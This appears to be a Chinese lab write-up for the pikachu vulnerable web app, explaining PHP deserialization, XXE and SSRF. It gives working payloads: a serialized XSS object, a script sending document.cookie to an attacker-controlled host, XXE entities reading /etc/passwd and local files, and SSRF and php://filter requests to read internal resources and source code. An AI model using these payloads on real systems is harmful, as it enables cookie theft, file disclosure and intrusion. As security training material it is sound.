pikachu PHP反序列化 XXE SSRF
PHP反序列化
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
另外这个漏洞一般是在代码审计的时候发现的,在扫描或者黑盒测试的时候很难发现。
1.序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
序列化之后可以通过接口或者网络去传输这个序列化完的字符串。
2.反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
1.__construct()当一个对象创建时被调用
2.__destruct()当一个对象销毁时被调用
3.__toString()当一个对象被当作一个字符串使用
4.__sleep() 在对象在被序列化之前运行
5.__wakeup将在序列化之后立即被调用
漏洞举例:比如用户在前端输入一个恶意的序列化内容,接口会通过get请求获取前端输入
的序列化内容,并通过对象的创建和销毁来反序列化用户输入的内容,当销毁时会自动执
行function中的echo语句。如果用户输入的序列化内容的值是一段js代码,那么也会被前端
自动执行。
class S{ var $test = "pikachu"; function __destruct(){ //当对象被销毁时,自动执行函数体里的语句 echo $this->test; } } $s = $_GET['test']; //接口;通过get请求获取test的值 @$unser = unserialize($a); //将获取的数据进行反序列化
通过反序列化的接口造成XSS漏洞
比如我们利用这个漏洞输入下面的payload
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
当然js部分是可以自己更改的,不过最后输入的payload是应该用php
序列化之后的字符串,比如下面我想让前端执行
<script>document.location='http://192.168.174.130/gaincookie.php?cookie='+document.cookie;</script>
那么先放在php文件中然后访问这个文件后台自动序列化一下我们的内容
得到 O:1:"S":1:{s:4:"test";s:99:"
其实得到payload的同时也会自动执行js代码中的内容
执行成功后会跳转页面,但是不知道为什么pikachu不会跳转
但是我执行这个php会出现跳转,可能是bug把
XXE(XML外部实体具体攻击)
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
XML:
1.XML是一种可扩展的标记语言:
可以用来存储数据(.XML的配置文件),传输数据(以XML的格式将数据放在请求当中发给服务器,就像提交post请求那样)
2.XML一般分为3个部分:
第一部分:声明。一般定义版本或者编码那一类的东西。
第二部分:文档类型定义DTD。是一种约束,漏洞问题主要出现在这里,可以定义很多实体内容,对后面很多XML的文档做约束
第三部分:文档元素。也就是正文,通过标签去定义一些属性和值。
DTD: Document Type Definition 文档类型定义,用来为XML文档定义语义约束,约束后面的文档内容。
分为3中不同的实体类型:
1.DTD内部声明
2.DTD外部引用(主要)
3.引用公共DTD
比如在外部实体引用payload:
<?xml version = "1.0"?> //声明 //DTD部分,首先DOCTYPE ANY 定义文档类型,可根据实际类型去写,也可以用ANY表示所有类型
<!DOCTYPE ANY[ <!ENTITY f SYSTEM "file///etc/passwd"> //外部实体以 !ENTITY 开头,SYSTEM指定外部实体,file协议来读取文件,将文件内容赋值给变量f ,用&将f放到x标签里,后面可以通过读取x标签来获得对应file协议读取的文件的所有内容。
]> <x>&f;</x>
外部实体可以支持http、file、ftp等协议
如果一个接口支持接收XML数据,且没有对XML数据做任何安全上的措施,就可能导致XXE漏洞。
php中函数 simplexml_load_string():
函数转换格式正确的XML字符串为SimpleXMLElement对象,就是可以把XML文档通过参数传给这个函数,
它会把XML解析为一个对象,后面的代码可以通过读取这个对象内容来获取XML文档的数据。
XXE漏洞就发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的
XML(通过DTD定义外部实体,通过外部实体加载一个对应的数据传给simplexml_load_string函数,这个
函数如果进行了读取数据,就有可能把外部实体加载的数据泄露出去。)
在PHP里面解析xml用的是libxml,libxml在≥2.9.0版本中,默认是禁止解析xml外部实体的内容的。
输入payload,这里定义的是内部实体来进行测试是否存在XXE漏洞
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
可以看到直接把我们定义的变量值返回了,这算是一个正常的提交,
也就是说存在XXE漏洞。
下面我们通过system关键字定义一个外部实体,可以让他支持一些
协议读取外部数据,比如Linux中的etc/passwd 。
我用的是windows 所以只读取一个简单的文件了
payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C:/phpstudy1/PHPTutorial/WWW/cookie.txt">
]>
<x>&f;</x>
当然也可以用http协议等
想成功利用此漏洞:
1.开启了外部实体解析(php代码中通过LIBXML_NOENT开启)
2.对于传过来的数据没有做任何的过滤
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
可以通过这些方法支持的协议然后构造payload去获取各种信息。主要是支持的网络协议进行研究。
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。
观察源码:先用get获取url,然后curl_init进行初始化然后通过curl_exec对上面的setopt进行请求然后
返回到前端。主要是用curl_exec将url的地址以请求形式发送然后返回前端。所以就可以通过SSRF可以
对同一网段的服务器进行探测扫描,也就是常说的利用SSRF扒内网的原因。
其中curl_exec还支持其他协议:FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
1.SSRF curl
payload:将url的值换成我们的payload
http://192.168.174.130/cookie.txt
2.SSRF file_get_content
file_get_content函数:
可以对本地文件进行读取,也可对远程文件进行读取比如www.baidu.com
读取PHP文件:php://filter/read=convert.based64-encode/resource=ssrf.php(php内置方法)
对指定的内置文件进行读取然后转换为base64编码。比如在前端是看不到php源码的,可以
通过这个来查询php源码文件
payload:php://filter/read=convert.base64-encode/resource=ssrf.php
可以看到直接将php文件输出到了前端,可以通过base64解码获取源文件